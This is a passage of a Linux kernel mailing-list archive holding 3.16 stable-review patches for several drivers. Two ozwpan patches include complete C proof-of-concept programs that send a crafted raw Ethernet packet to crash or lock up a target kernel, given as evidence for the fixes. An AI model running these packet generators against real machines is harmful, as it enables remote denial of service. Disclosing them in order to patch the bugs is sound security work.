Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Signed-off-by: Luis Henriques <luis.henriques@canonical.com>
---
 drivers/staging/ozwpan/ozhcd.c   | 8 ++++----
 drivers/staging/ozwpan/ozusbif.h | 4 ++--
 2 files changed, 6 insertions(+), 6 deletions(-)

diff --git a/drivers/staging/ozwpan/ozhcd.c b/drivers/staging/ozwpan/ozhcd.c
index 30bd9286d47d..68b05f60da41 100644
--- a/drivers/staging/ozwpan/ozhcd.c
+++ b/drivers/staging/ozwpan/ozhcd.c
@@ -804,8 +804,8 @@ void oz_hcd_pd_reset(void *hpd, void *hport)
 /*
  * Context: softirq
  */
-void oz_hcd_get_desc_cnf(void *hport, u8 req_id, int status, const u8 *desc,
-			int length, int offset, int total_size)
+void oz_hcd_get_desc_cnf(void *hport, u8 req_id, u8 status, const u8 *desc,
+			u8 length, u16 offset, u16 total_size)
 {
 	struct oz_port *port = (struct oz_port *)hport;
 	struct urb *urb;
@@ -817,8 +817,8 @@ void oz_hcd_get_desc_cnf(void *hport, u8 req_id, int status, const u8 *desc,
 	if (!urb)
 		return;
 	if (status == 0) {
-		int copy_len;
-		int required_size = urb->transfer_buffer_length;
+		unsigned int copy_len;
+		unsigned int required_size = urb->transfer_buffer_length;
 
 		if (required_size > total_size)
 			required_size = total_size;
diff --git a/drivers/staging/ozwpan/ozusbif.h b/drivers/staging/ozwpan/ozusbif.h
index 4249fa374012..d2a6085345be 100644
--- a/drivers/staging/ozwpan/ozusbif.h
+++ b/drivers/staging/ozwpan/ozusbif.h
@@ -29,8 +29,8 @@ void oz_usb_request_heartbeat(void *hpd);
 
 /* Confirmation functions.
  */
-void oz_hcd_get_desc_cnf(void *hport, u8 req_id, int status,
-	const u8 *desc, int length, int offset, int total_size);
+void oz_hcd_get_desc_cnf(void *hport, u8 req_id, u8 status,
+	const u8 *desc, u8 length, u16 offset, u16 total_size);
 void oz_hcd_control_cnf(void *hport, u8 req_id, u8 rcode,
 	const u8 *data, int data_len);
 
--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html
Please read the FAQ at  http://www.tux.org/lkml/

[toc] | [prev] | [next] | [standalone]

#1172022 — [PATCH 3.16.y-ckt 01/71] iio: adis16400: Report pressure channel scale

From	Luis Henriques <luis.henriques@canonical.com>
Date	2015-06-25 12:10 +0200
Subject	[PATCH 3.16.y-ckt 01/71] iio: adis16400: Report pressure channel scale
Message-ID	<pFcgy-5Bx-31@gated-at.bofh.it>
In reply to	#1172018

3.16.7-ckt14 -stable review patch.  If anyone has any objections, please let me know.

------------------

From: Lars-Peter Clausen <lars@metafoo.de>

commit 69ca2d771e4e709c5ae1125858e1246e77ef8b86 upstream.

Add the scale for the pressure channel, which is currently missing.

Signed-off-by: Lars-Peter Clausen <lars@metafoo.de>
Fixes: 76ada52f7f5d ("iio:adis16400: Add support for the adis16448")
Signed-off-by: Jonathan Cameron <jic23@kernel.org>
Signed-off-by: Luis Henriques <luis.henriques@canonical.com>
---
 drivers/iio/imu/adis16400_core.c | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/drivers/iio/imu/adis16400_core.c b/drivers/iio/imu/adis16400_core.c
index 8ca469c17a91..1bf990c06d03 100644
--- a/drivers/iio/imu/adis16400_core.c
+++ b/drivers/iio/imu/adis16400_core.c
@@ -438,6 +438,11 @@ static int adis16400_read_raw(struct iio_dev *indio_dev,
 			*val = st->variant->temp_scale_nano / 1000000;
 			*val2 = (st->variant->temp_scale_nano % 1000000);
 			return IIO_VAL_INT_PLUS_MICRO;
+		case IIO_PRESSURE:
+			/* 20 uBar = 0.002kPascal */
+			*val = 0;
+			*val2 = 2000;
+			return IIO_VAL_INT_PLUS_MICRO;
 		default:
 			return -EINVAL;
 		}
--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html
Please read the FAQ at  http://www.tux.org/lkml/

[toc] | [prev] | [next] | [standalone]

#1172023 — [PATCH 3.16.y-ckt 15/71] ozwpan: unchecked signed subtraction leads to DoS

From	Luis Henriques <luis.henriques@canonical.com>
Date	2015-06-25 12:10 +0200
Subject	[PATCH 3.16.y-ckt 15/71] ozwpan: unchecked signed subtraction leads to DoS
Message-ID	<pFcgy-5Bx-45@gated-at.bofh.it>
In reply to	#1172018

3.16.7-ckt14 -stable review patch.  If anyone has any objections, please let me know.

------------------

From: "Jason A. Donenfeld" <Jason@zx2c4.com>

commit 9a59029bc218b48eff8b5d4dde5662fd79d3e1a8 upstream.

The subtraction here was using a signed integer and did not have any
bounds checking at all. This commit adds proper bounds checking, made
easy by use of an unsigned integer. This way, a single packet won't be
able to remotely trigger a massive loop, locking up the system for a
considerable amount of time. A PoC follows below, which requires
ozprotocol.h from this module.

=-=-=-=-=-=

 #include <arpa/inet.h>
 #include <linux/if_packet.h>
 #include <net/if.h>
 #include <netinet/ether.h>
 #include <stdio.h>
 #include <string.h>
 #include <stdlib.h>
 #include <endian.h>
 #include <sys/ioctl.h>
 #include <sys/socket.h>

 #define u8 uint8_t
 #define u16 uint16_t
 #define u32 uint32_t
 #define __packed __attribute__((__packed__))
 #include "ozprotocol.h"

static int hex2num(char c)
{
	if (c >= '0' && c <= '9')
		return c - '0';
	if (c >= 'a' && c <= 'f')
		return c - 'a' + 10;
	if (c >= 'A' && c <= 'F')
		return c - 'A' + 10;
	return -1;
}
static int hwaddr_aton(const char *txt, uint8_t *addr)
{
	int i;
	for (i = 0; i < 6; i++) {
		int a, b;
		a = hex2num(*txt++);
		if (a < 0)
			return -1;
		b = hex2num(*txt++);
		if (b < 0)
			return -1;
		*addr++ = (a << 4) | b;
		if (i < 5 && *txt++ != ':')
			return -1;
	}
	return 0;
}

int main(int argc, char *argv[])
{
	if (argc < 3) {
		fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
		return 1;
	}

	uint8_t dest_mac[6];
	if (hwaddr_aton(argv[2], dest_mac)) {
		fprintf(stderr, "Invalid mac address.\n");
		return 1;
	}

	int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
	if (sockfd < 0) {
		perror("socket");
		return 1;
	}

	struct ifreq if_idx;
	int interface_index;
	strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
	if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
		perror("SIOCGIFINDEX");
		return 1;
	}
	interface_index = if_idx.ifr_ifindex;
	if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
		perror("SIOCGIFHWADDR");
		return 1;
	}
	uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;

	struct {
		struct ether_header ether_header;
		struct oz_hdr oz_hdr;
		struct oz_elt oz_elt;
		struct oz_elt_connect_req oz_elt_connect_req;
		struct oz_elt oz_elt2;
		struct oz_multiple_fixed oz_multiple_fixed;
	} __packed packet = {
		.ether_header = {
			.ether_type = htons(OZ_ETHERTYPE),
			.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
			.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
		},
		.oz_hdr = {
			.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
			.last_pkt_num = 0,
			.pkt_num = htole32(0)
		},
		.oz_elt = {
			.type = OZ_ELT_CONNECT_REQ,
			.length = sizeof(struct oz_elt_connect_req)
		},
		.oz_elt_connect_req = {
			.mode = 0,
			.resv1 = {0},
			.pd_info = 0,
			.session_id = 0,
			.presleep = 0,
			.ms_isoc_latency = 0,
			.host_vendor = 0,
			.keep_alive = 0,
			.apps = htole16((1 << OZ_APPID_USB) | 0x1),
			.max_len_div16 = 0,
			.ms_per_isoc = 0,
			.up_audio_buf = 0,
			.ms_per_elt = 0
		},
		.oz_elt2 = {
			.type = OZ_ELT_APP_DATA,
			.length = sizeof(struct oz_multiple_fixed) - 3
		},
		.oz_multiple_fixed = {
			.app_id = OZ_APPID_USB,
			.elt_seq_num = 0,
			.type = OZ_USB_ENDPOINT_DATA,
			.endpoint = 0,
			.format = OZ_DATA_F_MULTIPLE_FIXED,
			.unit_size = 1,
			.data = {0}
		}
	};

	struct sockaddr_ll socket_address = {
		.sll_ifindex = interface_index,
		.sll_halen = ETH_ALEN,
		.sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
	};

	if (sendto(sockfd, &packet, sizeof(packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
		perror("sendto");
		return 1;
	}
	return 0;
}

Signed-off-by: Jason A. Donenfeld <Jason@zx2c4.com>
Acked-by: Dan Carpenter <dan.carpenter@oracle.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Signed-off-by: Luis Henriques <luis.henriques@canonical.com>
---
 drivers/staging/ozwpan/ozusbsvc1.c | 7 ++++---
 1 file changed, 4 insertions(+), 3 deletions(-)

diff --git a/drivers/staging/ozwpan/ozusbsvc1.c b/drivers/staging/ozwpan/ozusbsvc1.c
index aebb90d7dbcd..32996822010d 100644
--- a/drivers/staging/ozwpan/ozusbsvc1.c
+++ b/drivers/staging/ozwpan/ozusbsvc1.c
@@ -323,10 +323,11 @@ static void oz_usb_handle_ep_data(struct oz_usb_ctx *usb_ctx,
 			struct oz_multiple_fixed *body =
 				(struct oz_multiple_fixed *)data_hdr;
 			u8 *data = body->data;
-			int n;
-			if (!body->unit_size)
+			unsigned int n;
+			if (!body->unit_size ||
+				len < sizeof(struct oz_multiple_fixed) - 1)
 				break;
-			n = (len - sizeof(struct oz_multiple_fixed)+1)
+			n = (len - (sizeof(struct oz_multiple_fixed) - 1))
 				/ body->unit_size;
 			while (n--) {
 				oz_hcd_data_ind(usb_ctx->hport, body->endpoint,
--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html
Please read the FAQ at  http://www.tux.org/lkml/

[toc] | [prev] | [next] | [standalone]

#1172024 — [PATCH 3.16.y-ckt 70/71] drm/radeon: fix freeze for laptop with Turks/Thames GPU.

From	Luis Henriques <luis.henriques@canonical.com>
Date	2015-06-25 12:10 +0200
Subject	[PATCH 3.16.y-ckt 70/71] drm/radeon: fix freeze for laptop with Turks/Thames GPU.
Message-ID	<pFcgy-5Bx-47@gated-at.bofh.it>
In reply to	#1172018

3.16.7-ckt14 -stable review patch.  If anyone has any objections, please let me know.

------------------

From: =?UTF-8?q?J=C3=A9r=C3=B4me=20Glisse?= <jglisse@redhat.com>

commit 6dfd197283bffc23a2b046a7f065588de7e1fc1e upstream.

Laptop with Turks/Thames GPU will freeze if dpm is enabled. It seems
the SMC engine is relying on some state inside the CP engine. CP needs
to chew at least one packet for it to get in good state for dynamic
power management.

This patch simply disabled and re-enable DPM after the ring test which
is enough to avoid the freeze.

Signed-off-by: Jérôme Glisse <jglisse@redhat.com>
Signed-off-by: Alex Deucher <alexander.deucher@amd.com>
[ luis: backported to 3.16: adjusted context ]
Signed-off-by: Luis Henriques <luis.henriques@canonical.com>
---
 drivers/gpu/drm/radeon/radeon_device.c | 15 +++++++++++++++
 1 file changed, 15 insertions(+)

diff --git a/drivers/gpu/drm/radeon/radeon_device.c b/drivers/gpu/drm/radeon/radeon_device.c
index d024389c4272..e5ed5ee9d832 100644
--- a/drivers/gpu/drm/radeon/radeon_device.c
+++ b/drivers/gpu/drm/radeon/radeon_device.c
@@ -1374,6 +1374,21 @@ int radeon_device_init(struct radeon_device *rdev,
 			goto failed;
 	}
 
+	/*
+	 * Turks/Thames GPU will freeze whole laptop if DPM is not restarted
+	 * after the CP ring have chew one packet at least. Hence here we stop
+	 * and restart DPM after the radeon_ib_ring_tests().
+	 */
+	if (rdev->pm.dpm_enabled &&
+	    (rdev->pm.pm_method == PM_METHOD_DPM) &&
+	    (rdev->family == CHIP_TURKS) &&
+	    (rdev->flags & RADEON_IS_MOBILITY)) {
+		mutex_lock(&rdev->pm.mutex);
+		radeon_dpm_disable(rdev);
+		radeon_dpm_enable(rdev);
+		mutex_unlock(&rdev->pm.mutex);
+	}
+
 	if ((radeon_testing & 1)) {
 		if (rdev->accel_working)
 			radeon_test_moves(rdev);
--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html
Please read the FAQ at  http://www.tux.org/lkml/

[toc] | [prev] | [next] | [standalone]

#1172025 — [PATCH 3.16.y-ckt 61/71] block: fix ext_dev_lock lockdep report

From	Luis Henriques <luis.henriques@canonical.com>
Date	2015-06-25 12:10 +0200
Subject	[PATCH 3.16.y-ckt 61/71] block: fix ext_dev_lock lockdep report
Message-ID	<pFcgy-5Bx-29@gated-at.bofh.it>
In reply to	#1172018

3.16.7-ckt14 -stable review patch.  If anyone has any objections, please let me know.

------------------

From: Dan Williams <dan.j.williams@intel.com>

commit 4d66e5e9b6d720d8463e11d027bd4ad91c8b1318 upstream.

 =================================
 [ INFO: inconsistent lock state ]
 4.1.0-rc7+ #217 Tainted: G           O
 ---------------------------------
 inconsistent {SOFTIRQ-ON-W} -> {IN-SOFTIRQ-W} usage.
 swapper/6/0 [HC0[0]:SC1[1]:HE1:SE0] takes:
  (ext_devt_lock){+.?...}, at: [<ffffffff8143a60c>] blk_free_devt+0x3c/0x70
 {SOFTIRQ-ON-W} state was registered at:
   [<ffffffff810bf6b1>] __lock_acquire+0x461/0x1e70
   [<ffffffff810c1947>] lock_acquire+0xb7/0x290
   [<ffffffff818ac3a8>] _raw_spin_lock+0x38/0x50
   [<ffffffff8143a07d>] blk_alloc_devt+0x6d/0xd0  <-- take the lock in process context
[..]
  [<ffffffff810bf64e>] __lock_acquire+0x3fe/0x1e70
  [<ffffffff810c00ad>] ? __lock_acquire+0xe5d/0x1e70
  [<ffffffff810c1947>] lock_acquire+0xb7/0x290
  [<ffffffff8143a60c>] ? blk_free_devt+0x3c/0x70
  [<ffffffff818ac3a8>] _raw_spin_lock+0x38/0x50
  [<ffffffff8143a60c>] ? blk_free_devt+0x3c/0x70
  [<ffffffff8143a60c>] blk_free_devt+0x3c/0x70    <-- take the lock in softirq
  [<ffffffff8143bfec>] part_release+0x1c/0x50
  [<ffffffff8158edf6>] device_release+0x36/0xb0
  [<ffffffff8145ac2b>] kobject_cleanup+0x7b/0x1a0
  [<ffffffff8145aad0>] kobject_put+0x30/0x70
  [<ffffffff8158f147>] put_device+0x17/0x20
  [<ffffffff8143c29c>] delete_partition_rcu_cb+0x16c/0x180
  [<ffffffff8143c130>] ? read_dev_sector+0xa0/0xa0
  [<ffffffff810e0e0f>] rcu_process_callbacks+0x2ff/0xa90
  [<ffffffff810e0dcf>] ? rcu_process_callbacks+0x2bf/0xa90
  [<ffffffff81067e2e>] __do_softirq+0xde/0x600

Neil sees this in his tests and it also triggers on pmem driver unbind
for the libnvdimm tests.  This fix is on top of an initial fix by Keith
for incorrect usage of mutex_lock() in this path: 2da78092dda1 "block:
Fix dev_t minor allocation lifetime".  Both this and 2da78092dda1 are
candidates for -stable.

Fixes: 2da78092dda1 ("block: Fix dev_t minor allocation lifetime")
Cc: Keith Busch <keith.busch@intel.com>
Reported-by: NeilBrown <neilb@suse.de>
Signed-off-by: Dan Williams <dan.j.williams@intel.com>
Signed-off-by: Jens Axboe <axboe@fb.com>
Signed-off-by: Luis Henriques <luis.henriques@canonical.com>
---
 block/genhd.c | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/block/genhd.c b/block/genhd.c
index a8d586a729bb..9316f5fd416f 100644
--- a/block/genhd.c
+++ b/block/genhd.c
@@ -422,9 +422,9 @@ int blk_alloc_devt(struct hd_struct *part, dev_t *devt)
 	/* allocate ext devt */
 	idr_preload(GFP_KERNEL);
 
-	spin_lock(&ext_devt_lock);
+	spin_lock_bh(&ext_devt_lock);
 	idx = idr_alloc(&ext_devt_idr, part, 0, NR_EXT_DEVT, GFP_NOWAIT);
-	spin_unlock(&ext_devt_lock);
+	spin_unlock_bh(&ext_devt_lock);
 
 	idr_preload_end();
 	if (idx < 0)
@@ -449,9 +449,9 @@ void blk_free_devt(dev_t devt)
 		return;
 
 	if (MAJOR(devt) == BLOCK_EXT_MAJOR) {
-		spin_lock(&ext_devt_lock);
+		spin_lock_bh(&ext_devt_lock);
 		idr_remove(&ext_devt_idr, blk_mangle_minor(MINOR(devt)));
-		spin_unlock(&ext_devt_lock);
+		spin_unlock_bh(&ext_devt_lock);
 	}
 }
 
@@ -691,13 +691,13 @@ struct gendisk *get_gendisk(dev_t devt, int *partno)
 	} else {
 		struct hd_struct *part;
 
-		spin_lock(&ext_devt_lock);
+		spin_lock_bh(&ext_devt_lock);
 		part = idr_find(&ext_devt_idr, blk_mangle_minor(MINOR(devt)));
 		if (part && get_disk(part_to_disk(part))) {
 			*partno = part->partno;
 			disk = part_to_disk(part);
 		}
-		spin_unlock(&ext_devt_lock);
+		spin_unlock_bh(&ext_devt_lock);
 	}
 
 	return disk;
--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html
Please read the FAQ at  http://www.tux.org/lkml/

[toc] | [prev] | [next] | [standalone]

#1172026 — [PATCH 3.16.y-ckt 14/71] ozwpan: divide-by-zero leading to panic

From	Luis Henriques <luis.henriques@canonical.com>
Date	2015-06-25 12:10 +0200
Subject	[PATCH 3.16.y-ckt 14/71] ozwpan: divide-by-zero leading to panic
Message-ID	<pFcgz-5Bx-49@gated-at.bofh.it>
In reply to	#1172018

3.16.7-ckt14 -stable review patch.  If anyone has any objections, please let me know.

------------------

From: "Jason A. Donenfeld" <Jason@zx2c4.com>

commit 04bf464a5dfd9ade0dda918e44366c2c61fce80b upstream.

A network supplied parameter was not checked before division, leading to
a divide-by-zero. Since this happens in the softirq path, it leads to a
crash. A PoC follows below, which requires the ozprotocol.h file from
this module.

=-=-=-=-=-=

 #include <arpa/inet.h>
 #include <linux/if_packet.h>
 #include <net/if.h>
 #include <netinet/ether.h>
 #include <stdio.h>
 #include <string.h>
 #include <stdlib.h>
 #include <endian.h>
 #include <sys/ioctl.h>
 #include <sys/socket.h>

 #define u8 uint8_t
 #define u16 uint16_t
 #define u32 uint32_t
 #define __packed __attribute__((__packed__))
 #include "ozprotocol.h"

static int hex2num(char c)
{
	if (c >= '0' && c <= '9')
		return c - '0';
	if (c >= 'a' && c <= 'f')
		return c - 'a' + 10;
	if (c >= 'A' && c <= 'F')
		return c - 'A' + 10;
	return -1;
}
static int hwaddr_aton(const char *txt, uint8_t *addr)
{
	int i;
	for (i = 0; i < 6; i++) {
		int a, b;
		a = hex2num(*txt++);
		if (a < 0)
			return -1;
		b = hex2num(*txt++);
		if (b < 0)
			return -1;
		*addr++ = (a << 4) | b;
		if (i < 5 && *txt++ != ':')
			return -1;
	}
	return 0;
}

int main(int argc, char *argv[])
{
	if (argc < 3) {
		fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
		return 1;
	}

	uint8_t dest_mac[6];
	if (hwaddr_aton(argv[2], dest_mac)) {
		fprintf(stderr, "Invalid mac address.\n");
		return 1;
	}

	int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
	if (sockfd < 0) {
		perror("socket");
		return 1;
	}

	struct ifreq if_idx;
	int interface_index;
	strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
	if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
		perror("SIOCGIFINDEX");
		return 1;
	}
	interface_index = if_idx.ifr_ifindex;
	if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
		perror("SIOCGIFHWADDR");
		return 1;
	}
	uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;

	struct {
		struct ether_header ether_header;
		struct oz_hdr oz_hdr;
		struct oz_elt oz_elt;
		struct oz_elt_connect_req oz_elt_connect_req;
		struct oz_elt oz_elt2;
		struct oz_multiple_fixed oz_multiple_fixed;
	} __packed packet = {
		.ether_header = {
			.ether_type = htons(OZ_ETHERTYPE),
			.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
			.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
		},
		.oz_hdr = {
			.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
			.last_pkt_num = 0,
			.pkt_num = htole32(0)
		},
		.oz_elt = {
			.type = OZ_ELT_CONNECT_REQ,
			.length = sizeof(struct oz_elt_connect_req)
		},
		.oz_elt_connect_req = {
			.mode = 0,
			.resv1 = {0},
			.pd_info = 0,
			.session_id = 0,
			.presleep = 0,
			.ms_isoc_latency = 0,
			.host_vendor = 0,
			.keep_alive = 0,
			.apps = htole16((1 << OZ_APPID_USB) | 0x1),
			.max_len_div16 = 0,
			.ms_per_isoc = 0,
			.up_audio_buf = 0,
			.ms_per_elt = 0
		},
		.oz_elt2 = {
			.type = OZ_ELT_APP_DATA,
			.length = sizeof(struct oz_multiple_fixed)
		},
		.oz_multiple_fixed = {
			.app_id = OZ_APPID_USB,
			.elt_seq_num = 0,
			.type = OZ_USB_ENDPOINT_DATA,
			.endpoint = 0,
			.format = OZ_DATA_F_MULTIPLE_FIXED,
			.unit_size = 0,
			.data = {0}
		}
	};

	struct sockaddr_ll socket_address = {
		.sll_ifindex = interface_index,
		.sll_halen = ETH_ALEN,
		.sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
	};

	if (sendto(sockfd, &packet, sizeof(packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
		perror("sendto");
		return 1;
	}
	return 0;
}

Signed-off-by: Jason A. Donenfeld <Jason@zx2c4.com>
Acked-by: Dan Carpenter <dan.carpenter@oracle.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Signed-off-by: Luis Henriques <luis.henriques@canonical.com>
---
 drivers/staging/ozwpan/ozusbsvc1.c | 5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

diff --git a/drivers/staging/ozwpan/ozusbsvc1.c b/drivers/staging/ozwpan/ozusbsvc1.c
index 74b3d85ddaa6..aebb90d7dbcd 100644
--- a/drivers/staging/ozwpan/ozusbsvc1.c
+++ b/drivers/staging/ozwpan/ozusbsvc1.c
@@ -323,7 +323,10 @@ static void oz_usb_handle_ep_data(struct oz_usb_ctx *usb_ctx,
 			struct oz_multiple_fixed *body =
 				(struct oz_multiple_fixed *)data_hdr;
 			u8 *data = body->data;
-			int n = (len - sizeof(struct oz_multiple_fixed)+1)
+			int n;
+			if (!body->unit_size)
+				break;
+			n = (len - sizeof(struct oz_multiple_fixed)+1)
 				/ body->unit_size;
 			while (n--) {
 				oz_hcd_data_ind(usb_ctx->hport, body->endpoint,
--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html
Please read the FAQ at  http://www.tux.org/lkml/

[toc] | [prev] | [next] | [standalone]

#1172027 — [PATCH 3.16.y-ckt 50/71] iommu/vt-d: Allow RMRR on graphics devices too

From	Luis Henriques <luis.henriques@canonical.com>
Date	2015-06-25 12:10 +0200
Subject	[PATCH 3.16.y-ckt 50/71] iommu/vt-d: Allow RMRR on graphics devices too
Message-ID	<pFcgy-5Bx-43@gated-at.bofh.it>
In reply to	#1172018

3.16.7-ckt14 -stable review patch.  If anyone has any objections, please let me know.

------------------

From: David Woodhouse <David.Woodhouse@intel.com>

commit 18436afdc11a00ac881990b454cfb2eae81d6003 upstream.

Commit c875d2c1 ("iommu/vt-d: Exclude devices using RMRRs from IOMMU API
domains") prevents certain options for devices with RMRRs. This even
prevents those devices from getting a 1:1 mapping with 'iommu=pt',
because we don't have the code to handle *preserving* the RMRR regions
when moving the device between domains.

There's already an exclusion for USB devices, because we know the only
reason for RMRRs there is a misguided desire to keep legacy
keyboard/mouse emulation running in some theoretical OS which doesn't
have support for USB in its own right... but which *does* enable the
IOMMU.

Add an exclusion for graphics devices too, so that 'iommu=pt' works
there. We should be able to successfully assign graphics devices to
guests too, as long as the initial handling of stolen memory is
reconfigured appropriately. This has certainly worked in the past.

Signed-off-by: David Woodhouse <David.Woodhouse@intel.com>
Signed-off-by: Luis Henriques <luis.henriques@canonical.com>
---
 drivers/iommu/intel-iommu.c | 7 ++++++-
 1 file changed, 6 insertions(+), 1 deletion(-)

diff --git a/drivers/iommu/intel-iommu.c b/drivers/iommu/intel-iommu.c
index b36bd2886940..afbde3730b11 100644
--- a/drivers/iommu/intel-iommu.c
+++ b/drivers/iommu/intel-iommu.c
@@ -51,6 +51,7 @@
 #define CONTEXT_SIZE		VTD_PAGE_SIZE
 
 #define IS_GFX_DEVICE(pdev) ((pdev->class >> 16) == PCI_BASE_CLASS_DISPLAY)
+#define IS_USB_DEVICE(pdev) ((pdev->class >> 8) == PCI_CLASS_SERIAL_USB)
 #define IS_ISA_DEVICE(pdev) ((pdev->class >> 8) == PCI_CLASS_BRIDGE_ISA)
 #define IS_AZALIA(pdev) ((pdev)->vendor == 0x8086 && (pdev)->device == 0x3a3e)
 
@@ -2538,6 +2539,10 @@ static bool device_has_rmrr(struct device *dev)
  * In both cases we assume that PCI USB devices with RMRRs have them largely
  * for historical reasons and that the RMRR space is not actively used post
  * boot.  This exclusion may change if vendors begin to abuse it.
+ *
+ * The same exception is made for graphics devices, with the requirement that
+ * any use of the RMRR regions will be torn down before assigning the device
+ * to a guest.
  */
 static bool device_is_rmrr_locked(struct device *dev)
 {
@@ -2547,7 +2552,7 @@ static bool device_is_rmrr_locked(struct device *dev)
 	if (dev_is_pci(dev)) {
 		struct pci_dev *pdev = to_pci_dev(dev);
 
-		if ((pdev->class >> 8) == PCI_CLASS_SERIAL_USB)
+		if (IS_USB_DEVICE(pdev) || IS_GFX_DEVICE(pdev))
 			return false;
 	}
 
--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html
Please read the FAQ at  http://www.tux.org/lkml/

[toc] | [prev] | [next] | [standalone]

#1172028 — [PATCH 3.16.y-ckt 56/71] Input: synaptics - add min/max quirk for Lenovo S540

From	Luis Henriques <luis.henriques@canonical.com>
Date	2015-06-25 12:10 +0200
Subject	[PATCH 3.16.y-ckt 56/71] Input: synaptics - add min/max quirk for Lenovo S540
Message-ID	<pFcgz-5Bx-73@gated-at.bofh.it>
In reply to	#1172018

3.16.7-ckt14 -stable review patch.  If anyone has any objections, please let me know.

------------------

From: Peter Hutterer <peter.hutterer@who-t.net>

commit 7f2ca8b55aeff1fe51ed3570200ef88a96060917 upstream.

https://bugzilla.redhat.com/show_bug.cgi?id=1223051#c2

Tested-by: tommy.gagnes@gmail.com
Signed-off-by: Peter Hutterer <peter.hutterer@who-t.net>
Signed-off-by: Dmitry Torokhov <dmitry.torokhov@gmail.com>
Signed-off-by: Luis Henriques <luis.henriques@canonical.com>
---
 drivers/input/mouse/synaptics.c | 7 ++++++-
 1 file changed, 6 insertions(+), 1 deletion(-)

diff --git a/drivers/input/mouse/synaptics.c b/drivers/input/mouse/synaptics.c
index 6d04d199b6be..378af3fa747d 100644
--- a/drivers/input/mouse/synaptics.c
+++ b/drivers/input/mouse/synaptics.c
@@ -146,6 +146,11 @@ static const struct min_max_quirk min_max_pnpid_table[] = {
 		1024, 5112, 2024, 4832
 	},
 	{
+		(const char * const []){"LEN2000", NULL},
+		{ANY_BOARD_ID, ANY_BOARD_ID},
+		1024, 5113, 2021, 4832
+	},
+	{
 		(const char * const []){"LEN2001", NULL},
 		{ANY_BOARD_ID, ANY_BOARD_ID},
 		1024, 5022, 2508, 4832
@@ -183,7 +188,7 @@ static const char * const topbuttonpad_pnp_ids[] = {
 	"LEN0047",
 	"LEN0048",
 	"LEN0049",
-	"LEN2000",
+	"LEN2000", /* S540 */
 	"LEN2001", /* Edge E431 */
 	"LEN2002", /* Edge E531 */
 	"LEN2003",
--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html
Please read the FAQ at  http://www.tux.org/lkml/

[toc] | [prev] | [next] | [standalone]

#1172029 — [PATCH 3.16.y-ckt 10/71] usb: dwc3: gadget: Fix incorrect DEPCMD and DGCMD status macros

From	Luis Henriques <luis.henriques@canonical.com>
Date	2015-06-25 12:10 +0200
Subject	[PATCH 3.16.y-ckt 10/71] usb: dwc3: gadget: Fix incorrect DEPCMD and DGCMD status macros
Message-ID	<pFcgA-5Bx-77@gated-at.bofh.it>
In reply to	#1172018

3.16.7-ckt14 -stable review patch.  If anyone has any objections, please let me know.

------------------

From: Subbaraya Sundeep Bhatta <subbaraya.sundeep.bhatta@xilinx.com>

commit 459e210c4fd034d20077bcec31fec9472a700fe9 upstream.

Fixed the incorrect macro definitions correctly as per databook.

Signed-off-by: Subbaraya Sundeep Bhatta <sbhatta@xilinx.com>
Fixes: b09bb64239c8 (usb: dwc3: gadget: implement Global Command support)
Signed-off-by: Felipe Balbi <balbi@ti.com>
Signed-off-by: Luis Henriques <luis.henriques@canonical.com>
---
